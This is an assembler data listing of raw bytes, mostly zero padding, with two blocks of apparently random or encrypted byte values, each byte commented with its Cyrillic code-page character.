		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0E0h	; Ю
		db  33h	; 3
		db  13h	;  
		db  65h	; e
		db  68h	; h
		db    9	;  
		db 0E3h	; Ц
		db  3Fh	; ?
		db  4Dh	; M
		db  7Dh	; }
		db 0B2h	; ╡
		db 0CFh	; о
		db  8Dh	; █
		db 0E2h	; Б
		db  49h	; I
		db  21h	; !
		db  47h	; G
		db  2Eh	; .
		db 0ECh	; Л
		db  54h	; T
		db 0E3h	; Ц
		db  87h	; ┤
		db 0EEh	; Н
		db  84h	; └
		db  75h	; u
		db    6	;  
		db 0B6h	; І
		db 0BBh	; ╩
		db  8Ah	; ┼
		db  8Bh	; ▀
		db  36h	; 6
		db  91h	; ▒
		db 0A1h	; ║
		db 0E5h	; Е
		db 0A5h	; ╔
		db  55h	; U
		db  6Dh	; m
		db 0D5h	; у
		db  2Eh	; .
		db  73h	; s
		db  77h	; w
		db  82h	; ┌
		db 0FDh	; Щ
		db  42h	; B
		db 0D1h	; я
		db  50h	; P
		db 0EAh	; Й
		db 0B2h	; ╡
		db  8Dh	; █
		db 0B7h	; Ї
		db  51h	; Q
		db  9Eh	; ·
		db  2Ch	; ,
		db  34h	; 4
		db  98h	; ≤
		db 0BCh	; ╪
		db 0DAh	; з
		db  50h	; P
		db 0C8h	; х
		db 0F1h	; Я
		db 0D6h	; ж
		db  6Eh	; n
		db  86h	; ├
		db  12h	;  
		db  2Ch	; ,
		db  34h	; 4
		db  19h	;  
		db  87h	; ┤
		db  49h	; I
		db  79h	; y
		db  92h	; ▓
		db 0C2h	; б
		db  69h	; i
		db 0F8h	; Ь
		db 0D2h	; р
		db  4Ah	; J
		db  2Eh	; .
		db  91h	; ▒
		db  66h	; f
		db  8Fh	; ▐
		db 0FDh	; Щ
		db 0C7h	; г
		db  71h	; q
		db  2Dh	; -
		db  84h	; └
		db 0A7h	; ї
		db  57h	; W
		db 0EBh	; К
		db  52h	; R
		db  55h	; U
		db  23h	; #
		db 0CCh	; л
		db 0EDh	; М
		db  7Fh	; 
		db 0FBh	; Ш
		db 0E0h	; Ю
		db  1Ch	;  
		db  86h	; ├
		db 0F3h	; С
		db 0E1h	; А
		db  9Ch	; °
		db  20h	;  
		db  38h	; 8
		db  49h	; I
		db 0B4h	; Є
		db  13h	;  
		db  97h	; ≈
		db  34h	; 4
		db    1	;  
		db 0C1h	; а
		db  34h	; 4
		db 0DEh	; ч
		db  54h	; T
		db  6Ch	; l
		db  8Ch	; ▄
		db  9Ch	; °
		db  28h	; (
		db 0A8h	; ╗
		db 0A7h	; ї
		db  43h	; C
		db  66h	; f
		db 0BBh	; ╩
		db  2Dh	; -
		db 0F3h	; С
		db  64h	; d
		db 0CBh	; к
		db 0E3h	; Ц
		db    1	;  
		db 0FFh	;  
		db  74h	; t
		db  80h	; ─
		db 0E9h	; И
		db  2Eh	; .
		db  89h	; ┴
		db 0E3h	; Ц
		db  94h	; ■
		db  7Fh	; 
		db 0C1h	; а
		db  10h	;  
		db  92h	; ▓
		db  6Fh	; o
		db 0F1h	; Я
		db 0A8h	; ╗
		db 0D6h	; ж
		db  1Eh	;  
		db  28h	; (
		db 0A8h	; ╗
		db 0B3h	; Ё
		db 0BBh	; ╩
		db  7Ah	; z
		db  96h	; √
		db  40h	; @
		db  14h	;  
		db  15h	;  
		db  5Ah	; Z
		db 0EDh	; М
		db 0FBh	; Ш
		db  52h	; R
		db  99h	; ≥
		db  44h	; D
		db  1Eh	;  
		db 0B4h	; Є
		db  13h	;  
		db 0C3h	; ц
		db    9	;  
		db 0E6h	; Ф
		db 0AFh	; ╞
		db  16h	;  
		db 0A4h	; є
		db 0BCh	; ╪
		db 0A2h	; ╒
		db  1Fh	;  
		db  82h	; ┌
		db  11h	;  
		db 0F1h	; Я
		db 0B4h	; Є
		db  64h	; d
		db  12h	;  
		db 0FBh	; Ш
		db  74h	; t
		db 0C9h	; и
		db 0BAh	; ╨
		db  91h	; ▒
		db 0ABh	; ╚
		db 0D6h	; ж
		db 0C7h	; г
		db 0D6h	; ж
		db  35h	; 5
		db 0FFh	;  
		db  48h	; H
		db  8Eh	; ▌
		db  43h	; C
		db 0BDh	; Ґ
		db  19h	;  
		db  44h	; D
		db  65h	; e
		db  56h	; V
		db 0A6h	; і
		db 0C4h	; д
		db  10h	;  
		db  55h	; U
		db  5Eh	; ^
		db  68h	; h
		db  36h	; 6
		db  4Ch	; L
		db  55h	; U
		db  33h	; 3
		db  97h	; ≈
		db  86h	; ├
		db  49h	; I
		db 0ABh	; ╚
		db 0FEh	; Ч
		db  21h	; !
		db 0BDh	; Ґ
		db  0Dh	;  
		db  1Dh	;  
		db  49h	; I
		db 0FEh	; Ч
		db  3Ch	; <
		db  66h	; f
		db 0A4h	; є
		db  2Dh	; -
		db  98h	; ≤
		db 0A7h	; ї
		db  4Ch	; L
		db 0EAh	; Й
		db 0CBh	; к
		db  7Bh	; {
		db  0Ch	;  
		db  11h	;  
		db  9Eh	; ·
		db  8Ah	; ┼
		db  6Bh	; k
		db 0C5h	; е
		db  79h	; y
		db  47h	; G
		db 0A0h	; ═
		db 0C5h	; е
		db  5Fh	; _
		db  2Eh	; .
		db  0Eh	;  
		db 0D8h	; ь
		db  84h	; └
		db  44h	; D
		db 0F4h	; Т
		db 0A9h	; ╘
		db  1Ah	;  
		db  3Ch	; <
		db  20h	;  
		db  0Fh	;  
		db  73h	; s
		db 0ABh	; ╚
		db 0B1h	; ╠
		db  57h	; W
		db  6Ah	; j
		db 0A6h	; і
		db 0F7h	; В
		db  52h	; R
		db 0D7h	; в
		db  62h	; b
		db 0DCh	; э
		db 0A7h	; ї
		db  87h	; ┤
		db 0FFh	;  
		db  45h	; E
		db  45h	; E
		db  94h	; ■
		db  60h	; `
		db    4	;  
		db  66h	; f
		db  40h	; @
		db  2Fh	; /
		db 0A4h	; є
		db 0C1h	; а
		db  77h	; w
		db  5Dh	; ]
		db  37h	; 7
		db 0ACh	; ╛
		db 0C9h	; и
		db 0EFh	; О
		db 0D7h	; в
		db  66h	; f
		db 0E8h	; Х
		db 0F0h	; П
		db  95h	; ∙
		db  46h	; F
		db  74h	; t
		db  85h	; ┘
		db  8Ch	; ▄
		db  42h	; B
		db  81h	; │
		db  96h	; √
		db  6Bh	; k
		db 0FCh	; Э
		db 0A1h	; ║
		db  7Bh	; {
		db  7Ch	; |
		db  91h	; ▒
		db 0D7h	; в
		db  19h	;  
		db  3Ch	; <
		db 0F0h	; П
		db  7Bh	; {
		db  41h	; A
		db 0EBh	; К
		db  33h	; 3
		db  5Bh	; [
		db  91h	; ▒
		db 0F7h	; В
		db  15h	;  
		db  57h	; W
		db  5Fh	; _
		db 0AEh	; ў
		db  6Ch	; l
		db  8Fh	; ▐
		db 0FDh	; Щ
		db    8	;  
		db    7	;  
		db 0DBh	; ш
		db  8Eh	; ▌
		db 0ACh	; ╛
		db  25h	; %
		db 0B1h	; ╠
		db 0B7h	; Ї
		db 0E6h	; Ф
		db  5Ch	; \
		db  78h	; x
		db  5Bh	; [
		db  81h	; │
		db 0C6h	; ф
		db  56h	; V
		db 0DBh	; ш
		db 0EAh	; Й
		db  46h	; F
		db  6Fh	; o
		db 0EEh	; Н
		db 0BEh	; Ў
		db 0EEh	; Н
		db  4Eh	; N
		db 0D8h	; ь
		db  55h	; U
		db  53h	; S
		db  19h	;  
		db  3Ch	; <
		db 0DEh	; ч
		db  44h	; D
		db 0A2h	; ╒
		db 0C0h	; ю
		db  89h	; ┴
		db  73h	; s
		db  9Dh	; ²
		db 0BDh	; Ґ
		db  1Ah	;  
		db  76h	; v
		db  53h	; S
		db  19h	;  
		db 0D0h	; п
		db  99h	; ≥
		db 0CFh	; о
		db  4Bh	; K
		db 0C2h	; б
		db  9Eh	; ·
		db 0DEh	; ч
		db  39h	; 9
		db 0CEh	; н
		db  76h	; v
		db  0Dh	;  
		db  81h	; │
		db 0B1h	; ╠
		db 0BEh	; Ў
		db  70h	; p
		db 0EEh	; Н
		db 0ECh	; Л
		db  55h	; U
		db  2Eh	; .
		db  79h	; y
		db  60h	; `
		db 0F8h	; Ь
		db 0D5h	; у
		db  4Bh	; K
		db  9Dh	; ²
		db  6Dh	; m
		db 0F5h	; У
		db 0FBh	; Ш
		db  86h	; ├
		db  88h	; ┬
		db 0FBh	; Ш
		db  83h	; ┐
		db  5Ah	; Z
		db 0EFh	; О
		db  13h	;  
		db 0C5h	; е
		db  43h	; C
		db  8Fh	; ▐
		db  40h	; @
		db 0A4h	; є
		db  89h	; ┴
		db  33h	; 3
		db  3Fh	; ?
		db  43h	; C
		db  79h	; y
		db 0D3h	; с
		db 0FAh	; З
		db  5Ch	; \
		db 0F4h	; Т
		db 0CCh	; л
		db  58h	; X
		db  46h	; F
		db 0F8h	; Ь
		db  2Dh	; -
		db 0F8h	; Ь
		db  3Eh	; >
		db  7Fh	; 
		db  5Ch	; \
		db  41h	; A
		db  18h	;  
		db 0E8h	; Х
		db  15h	;  
		db  29h	; )
		db 0F4h	; Т
		db  5Ch	; \
		db  3Dh	; =
		db  8Bh	; ▀
		db  27h	; '
		db  5Fh	; _
		db  44h	; D
		db  6Ah	; j
		db  7Ah	; z
		db 0B5h	; ╣
		db 0DBh	; ш
		db 0F8h	; Ь
		db  70h	; p
		db    0	;  
		db  8Fh	; ▐
		db 0CAh	; й
		db 0ECh	; Л
		db    3	;  
		db 0D8h	; ь
		db  8Ah	; ┼
		db  34h	; 4
		db  7Ch	; |
		db 0E8h	; Х
		db 0B2h	; ╡
		db  45h	; E
		db  92h	; ▓
		db  8Fh	; ▐
		db    3	;  
		db  6Ch	; l
		db  8Ah	; ┼
		db 0DDh	; щ
		db 0BEh	; Ў
		db 0E0h	; Ю
		db 0DEh	; ч
		db 0C9h	; и
		db 0C7h	; г
		db  56h	; V
		db  7Dh	; }
		db 0ACh	; ╛
		db  0Eh	;  
		db  14h	;  
		db 0FAh	; З
		db 0D3h	; с
		db  2Ah	; *
		db  40h	; @
		db    8	;  
		db 0DEh	; ч
		db 0E0h	; Ю
		db  7Ch	; |
		db  67h	; g
		db  75h	; u
		db 0F7h	; В
		db 0D5h	; у
		db  0Ah	;  
		db 0BDh	; Ґ
		db 0F1h	; Я
		db  1Eh	;  
		db  22h	; "
		db 0BEh	; Ў
		db  92h	; ▓
		db 0B9h	; ╧
		db  1Fh	;  
		db 0FAh	; З
		db  87h	; ┤
		db 0A4h	; є
		db    4	;  
		db  9Dh	; ²
		db 0CEh	; н
		db 0A9h	; ╘
		db  6Fh	; o
		db 0C3h	; ц
		db 0D2h	; р
		db  24h	; $
		db  70h	; p
		db  6Fh	; o
		db  3Fh	; ?
		db  62h	; b
		db 0AFh	; ╞
		db  28h	; (
		db 0B0h	; ╟
		db 0EEh	; Н
		db  55h	; U
		db  78h	; x
		db  90h	; ░
		db 0D6h	; ж
		db  49h	; I
		db  3Eh	; >
		db 0D8h	; ь
		db 0DCh	; э
		db 0C5h	; е
		db 0FAh	; З
		db  4Eh	; N
		db 0ABh	; ╚
		db  1Ah	;  
		db  15h	;  
		db 0E7h	; Г
		db  6Bh	; k
		db  8Ch	; ▄
		db 0CDh	; м
		db  77h	; w
		db  7Dh	; }
		db  3Bh	; ;
		db  75h	; u
		db  0Ah	;  
		db 0B4h	; Є
		db    8	;  
		db 0F9h	; Ы
		db  0Ah	;  
		db  23h	; #
		db  36h	; 6
		db  98h	; ≤
		db  8Ch	; ▄
		db  27h	; '
		db  30h	; 0
		db  0Fh	;  
		db 0E5h	; Е
		db  71h	; q
		db  27h	; '
		db  22h	; "
		db  94h	; ■
		db 0D6h	; ж
		db 0E2h	; Б
		db    8	;  
		db  1Dh	;  
		db 0E6h	; Ф
		db  28h	; (
		db 0E9h	; И
		db 0F7h	; В
		db 0A6h	; і
		db  5Ch	; \
		db 0EEh	; Н
		db 0F2h	; Р
		db  3Ch	; <
		db 0B9h	; ╧
		db  61h	; a
		db  1Bh	;  
		db  2Bh	; +
		db  96h	; √
		db 0EBh	; К
		db  11h	;  
		db  1Ch	;  
		db 0B2h	; ╡
		db  48h	; H
		db  96h	; √
		db 0A1h	; ║
		db 0CBh	; к
		db  2Bh	; +
		db 0CEh	; н
		db  54h	; T
		db  71h	; q
		db 0F7h	; В
		db  34h	; 4
		db  30h	; 0
		db 0BEh	; Ў
		db 0BEh	; Ў
		db  7Bh	; {
		db  19h	;  
		db 0A3h	; ё
		db  26h	; &
		db 0E5h	; Е
		db 0ACh	; ╛
		db  29h	; )
		db 0E3h	; Ц
		db  8Ch	; ▄
		db 0D2h	; р
		db  74h	; t
		db  4Ah	; J
		db 0DEh	; ч
		db 0D5h	; у
		db  53h	; S
		db 0DCh	; э
		db 0B5h	; ╣
		db 0B3h	; Ё
		db 0E8h	; Х
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0C0h	; ю
		db  67h	; g
		db  2Ah	; *
		db  8Dh	; █
		db  4Eh	; N
		db  72h	; r
		db 0D4h	; т
		db 0E7h	; Г
		db  7Ah	; z
		db 0FEh	; Ч
		db  8Eh	; ▌
		db  90h	; ░
		db  1Eh	;  
		db  9Ah	;  
		db 0F8h	; Ь
		db  17h	;  
		db  41h	; A
		db    8	;  
		db 0EFh	; О
		db  54h	; T
		db  51h	; Q
		db 0E0h	; Ю
		db  54h	; T
		db  51h	; Q
		db 0BBh	; ╩
		db 0B1h	; ╠
		db  13h	;  
		db  29h	; )
		db 0E8h	; Х
		db  6Bh	; k
		db  50h	; P
		db  72h	; r
		db 0B1h	; ╠
		db  29h	; )
		db 0FBh	; Ш
		db  4Eh	; N
		db  57h	; W
		db  99h	; ≥
		db 0E5h	; Е
		db  46h	; F
		db  61h	; a
		db 0DAh	; з
		db 0F0h	; П
		db 0D3h	; с
		db  0Eh	;  
		db  6Ch	; l
		db  80h	; ─
		db 0BEh	; Ў
		db 0E5h	; Е
		db  6Ah	; j
		db 0B8h	; ╦
		db  93h	; ⌠
		db  5Eh	; ^
		db  15h	;  
		db  45h	; E
		db 0C2h	; б
		db  1Ch	;  
		db  59h	; Y
		db 0C0h	; ю
		db  34h	; 4
		db  7Ch	; |
		db  1Eh	;  
		db  7Eh	; ~
		db 0DAh	; з
		db  23h	; #
		db  48h	; H
		db  7Ch	; |
		db 0CEh	; н
		db  4Ch	; L
		db  1Fh	;  
		db  1Dh	;  
		db 0E8h	; Х
		db 0A1h	; ║
		db  8Bh	; ▀
		db  9Bh	; ⌡
		db  75h	; u
		db 0DFh	; ъ
		db 0BFh	; ©
		db 0D6h	; ж
		db  10h	;  
		db 0BEh	; Ў
		db  41h	; A
		db 0E3h	; Ц
		db  78h	; x
		db 0AEh	; ў
		db 0DFh	; ъ
		db 0C2h	; б
		db 0B2h	; ╡
		db  67h	; g
		db  6Bh	; k
		db    1	;  
		db  1Ah	;  
		db  7Fh	; 
		db  23h	; #
		db  0Fh	;  
		db 0CDh	; м
		db 0ABh	; ╚
		db 0BEh	; Ў
		db  3Dh	; =
		db  74h	; t
		db  25h	; %
		db  6Ah	; j
		db 0AFh	; ╞
		db 0D7h	; в
		db 0E6h	; Ф
		db 0B3h	; Ё
		db 0CAh	; й
		db  80h	; ─
		db  0Eh	;  
		db  2Eh	; .
		db  14h	;  
		db  27h	; '
		db  91h	; ▒
		db  95h	; ∙
		db  61h	; a
		db  11h	;  
		db  48h	; H
		db  23h	; #
		db  2Ch	; ,
		db    1	;  
		db  97h	; ≈
		db    0	;  
		db  87h	; ┤
		db  82h	; ┌
		db 0F9h	; Ы
		db  4Bh	; K
		db 0CBh	; к
		db  84h	; └
		db  9Ch	; °
		db  16h	;  
		db 0F8h	; Ь
		db  8Ch	; ▄
		db  2Fh	; /
		db    5	;  
		db  88h	; ┬
		db 0D4h	; т
		db 0E6h	; Ф
		db 0DDh	; щ
		db  68h	; h
		db  61h	; a
		db  17h	;  
		db  13h	;  
		db 0BCh	; ╪
		db    5	;  
		db    9	;  
		db  0Bh	;  
		db 0FFh	;  
		db  41h	; A
		db  9Ch	; °
		db 0ABh	; ╚
		db  54h	; T
		db  24h	; $
		db 0B2h	; ╡
		db  13h	;  
		db  76h	; v
		db  4Eh	; N
		db  30h	; 0
		db  1Ch	;  
		db  1Ah	;  
		db  7Bh	; {
		db  16h	;  
		db 0FEh	; Ч
		db  3Bh	; ;
		db  47h	; G
		db  2Dh	; -
		db  1Ch	;  
		db  44h	; D
		db  9Ch	; °
		db 0EAh	; Й
		db  6Ch	; l
		db  4Fh	; O
		db  81h	; │
		db  61h	; a
		db 0F0h	; П
		db  78h	; x
		db 0B8h	; ╦
		db  9Fh	; ÷
		db  65h	; e
		db 0EBh	; К
		db  41h	; A
		db 0AEh	; ў
		db 0C7h	; г
		db  30h	; 0
		db  0Eh	;  
		db  0Dh	;  
		db  7Eh	; ~
		db  94h	; ■
		db 0D7h	; в
		db 0CAh	; й
		db 0EBh	; К
		db 0A1h	; ║
		db  56h	; V
		db  95h	; ∙
		db  7Dh	; }
		db 0D9h	; ы
		db  4Dh	; M
		db  50h	; P
		db  30h	; 0
		db  21h	; !
		db 0CBh	; к
		db    9	;  
		db  83h	; ┐
		db  1Ah	;  
		db    7	;  
		db 0D5h	; у
		db 0ACh	; ╛
		db 0F2h	; Р
		db  2Ah	; *
		db 0C7h	; г
		db  8Eh	; ▌
		db  3Fh	; ?
		db  3Ah	; :
		db  37h	; 7
		db  82h	; ┌
		db 0FDh	; Щ
		db 0BCh	; ╪
		db  42h	; B
		db 0A8h	; ╗
		db  95h	; ∙
		db  32h	; 2
		db  4Dh	; M
		db  0Fh	;  
		db  28h	; (
		db 0C0h	; ю
		db  8Ah	; ┼
		db  61h	; a
		db 0F3h	; С
		db    4	;  
		db  4Fh	; O
		db  1Ah	;  
		db  81h	; │
